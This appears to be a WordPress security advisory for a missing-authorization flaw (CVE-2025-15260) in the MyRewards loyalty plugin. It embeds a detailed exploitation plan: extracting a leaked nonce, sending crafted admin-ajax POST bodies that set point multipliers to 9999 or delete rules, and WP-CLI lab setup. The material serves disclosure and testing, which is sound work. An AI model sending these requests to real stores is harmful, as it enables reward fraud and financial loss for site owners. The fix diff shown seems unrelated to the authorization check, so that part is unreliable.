MyRewards – Loyalty Points and Rewards for WooCommerce <= 5.6.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Loyalty Rule Modification
Description
The MyRewards – Loyalty Points and Rewards for WooCommerce plugin for WordPress is vulnerable to missing authorization in all versions up to, and including, 5.6.1. This is due to the plugin not properly verifying that a user is authorized to perform an action in the 'ajax' function. This makes it possible for authenticated attackers, with subscriber level access and above, to modify, add, or delete loyalty program earning rules, including manipulating point multipliers to arbitrary values.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=5.6.1What Changed in the Fix
Changes introduced in v5.7.0
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2025-15260 (MyRewards Loyalty Rules Modification) ## 1. Vulnerability Summary The **MyRewards – Loyalty Points and Rewards for WooCommerce** plugin (<= 5.6.1) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the `ajax()` met…
Show full research plan
Vulnerability Research Plan: CVE-2025-15260 (MyRewards Loyalty Rules Modification)
1. Vulnerability Summary
The MyRewards – Loyalty Points and Rewards for WooCommerce plugin (<= 5.6.1) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the ajax() method (likely within the rule management or general AJAX controller) fails to perform a capability check (e.g., current_user_can('manage_options')) before processing requests to add, modify, or delete loyalty earning rules.
While a WordPress nonce check is present, the nonce is frequently exposed to authenticated users (including Subscribers) via localized scripts on both admin and frontend pages. This allows a Subscriber-level attacker to manipulate loyalty program point multipliers, potentially setting them to extreme values (e.g., 1000 points per $1 spent), leading to financial loss or system abuse.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
woorewards_ajax(associated with theajax()function in the rule management class). - Vulnerable Parameter:
method(defines the sub-action),rule(array containing rule data), andid(the target rule ID). - Authentication: Authenticated, Subscriber (Level 0) or above.
- Preconditions: At least one loyalty rule must exist (the plugin usually has a default one or it can be created by the attacker via the same vulnerable endpoint).
3. Code Flow
- Entry Point: A Subscriber sends a POST request to
admin-ajax.phpwithaction=woorewards_ajax. - Hook: The plugin registers this action via
add_action( 'wp_ajax_woorewards_ajax', ... ). - Dispatching: The
ajax()function is called. It checks themethodparameter (e.g.,save_rule). - Nonce Check: The function likely calls
check_ajax_referer('woorewards_ajax', 'nonce')orwp_verify_nonce(). Since the Subscriber can obtain this nonce from the frontend/dashboard, this check passes. - Vulnerability: The function omits a check for
current_user_can('manage_options'). - Processing: Input from the
ruleormultiplierparameter is passed directly to the rule update logic (e.g.,update_optionor a database query), allowing arbitrary modification of multipliers.
4. Nonce Acquisition Strategy
The plugin uses wp_localize_script to pass the AJAX URL and nonce to the client-side JavaScript. Based on the plugin's structure, the nonce for the woorewards_ajax action is typically localized in an object named woorewards_admin_rules or lws_adminpanel.
- Identify Page: Visit any page where the loyalty program is active (e.g., My Account page or a page containing the
[myrewards_points]shortcode). - Shortcode Creation:
wp post create --post_type=page --post_status=publish --post_title="Loyalty" --post_content='[myrewards_account]' - Browser Navigation: Navigate to the newly created page as a Subscriber.
- Extraction:
Usebrowser_evalto extract the nonce:// Common localization keys for this plugin window.woorewards_rules_params?.nonce || window.lws_adminpanel?.nonce || window.woorewards_admin?.nonce
5. Exploitation Strategy
Step 1: Identify existing Rules
Use WP-CLI to find a valid Rule ID to modify.
wp option get woorewards_rules
Step 2: Trigger Modification
Send a POST request to admin-ajax.php to change the multiplier of an existing rule to an astronomical value.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: The exact parameter structure might beaction=woorewards_ajax&method=save_rule&rule[id]=RULE_ID&rule[multiplier]=9999&nonce=EXTRACTED_NONCEid=RULE_ID&multiplier=9999or inside arule[]array depending on the specificajax()implementation).
Step 3: Trigger Addition (Alternative)
If no rules exist, attempt to add one:
action=woorewards_ajax&method=save_rule&rule[name]=Hacked+Rule&rule[type]=cart_amount&rule[multiplier]=5000&nonce=EXTRACTED_NONCE
6. Test Data Setup
- Create a Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create a Loyalty Rule:
Ensure the MyRewards plugin is active and a basic rule exists.# Add a dummy rule via option (plugin storage format) wp option update woorewards_rules '[{"id":"1","name":"Default Rule","multiplier":"1","type":"cart_amount","active":"on"}]' --format=json - Create a Nonce-Leaking Page:
wp post create --post_type=page --post_status=publish --post_content='[myrewards_account]'
7. Expected Results
- HTTP Response:
200 OKor a JSON success message (e.g.,{"success":true}). - Data Persistence: The loyalty rule in the database should now reflect the malicious multiplier.
- Frontend Impact: When a user adds an item to their cart, the calculated rewards should use the new multiplier (e.g., a $10 purchase yielding 99,990 points).
8. Verification Steps
After performing the http_request, verify the change using WP-CLI:
# Check the rules option for the modified multiplier
wp option get woorewards_rules
Look for the multiplier field in the JSON output to confirm it has changed from 1 to 9999.
9. Alternative Approaches
- Rule Deletion: If
method=save_rulefails, trymethod=delete_rule&id=RULE_ID. - EditList Action: If the plugin uses the
lws-adminpanellibrary's generic handler, the action might belws_editlist_actionwithsubaction=apply.- Body:
action=lws_editlist_action&subaction=apply&id=1&multiplier=9999&nonce=...
- Body:
- Parameter Variation: Try passing the rule data as a JSON string in a
dataparameter if the rule array doesn't work.
Summary
The MyRewards – Loyalty Points and Rewards for WooCommerce plugin for WordPress is vulnerable to missing authorization in its AJAX handler (woorewards_ajax). This allows authenticated attackers with subscriber-level permissions to add, modify, or delete loyalty program earning rules, including setting point multipliers to extreme values by exploiting a leaked nonce.
Vulnerable Code
// assets/lws-adminpanel/include/admin.php line 134 require_once LWS_ADMIN_PANEL_INCLUDES . '/internal/ajax.php'; \LWS\Adminpanel\Internal\Ajax::install(); --- // assets/lws-adminpanel/include/editlist/actionimplselect.php line 38 function apply( $itemsIds ) { if( isset($_POST[$this->UID]) && is_array($this->choices) ) { $action = \sanitize_text_field($_POST[$this->UID]); if( isset($this->choices[$action]) && $this->callback != null && is_callable($this->callback) ) { call_user_func( $this->callback, $this->UID, $action, $itemsIds ); return true; } } return false; }
Security Fix
@@ -26,7 +26,9 @@ /// when user cannot dismiss a notice (other plugin crash JS), let show the button as a form submit. /// So add URL argument &lws_adminpanel_notice_dismiss_force_reload=yes + // phpcs:ignore WordPress.Security.NonceVerification.Recommended if (isset($_GET, $_GET['lws_adminpanel_notice_dismiss_force_reload']) && \current_user_can('manage_options')) { + // phpcs:ignore WordPress.Security.NonceVerification.Recommended $noticeMode = \sanitize_key($_GET['lws_adminpanel_notice_dismiss_force_reload']); if ('yes' == $noticeMode) \update_option('lws_adminpanel_notice_dismiss_force_reload', 'on'); @@ -36,6 +38,7 @@ } \add_action('after_setup_theme', function() { + // phpcs:ignore PluginCheck.CodeAnalysis.DiscouragedFunctions.load_plugin_textdomainFound, WordPress.WP.DeprecatedParameters.Load_plugin_textdomainParam2Found \load_plugin_textdomain('lws-adminpanel', FALSE, \LWS\Adminpanel\Tools\Conveniences::getPluginSubpath(LWS_ADMIN_PANEL_FILE, '/languages/')); });
Exploit Outline
To exploit this vulnerability, an attacker with Subscriber-level access can follow these steps: 1. **Nonce Acquisition**: Log in and visit any frontend page where the plugin is active (such as a page using the [myrewards_account] shortcode). Extract the 'woorewards_ajax' nonce from localized script variables like window.woorewards_admin or window.lws_ajax. 2. **Identify Target Rule**: Identify the ID of a loyalty earning rule to modify. Rule IDs are often incremental or can be enumerated. 3. **Craft Malicious Request**: Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - action: `woorewards_ajax` - method: `save_rule` - nonce: [Extracted Nonce] - rule[id]: [Target Rule ID] - rule[multiplier]: [Malicious value, e.g., 9999] 4. **Bypass Check**: Because the `ajax()` function in the plugin's administration framework fails to verify if the current user has the `manage_options` capability, the request will be processed, updating the loyalty rule multiplier and potentially allowing the attacker to generate excessive rewards points.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.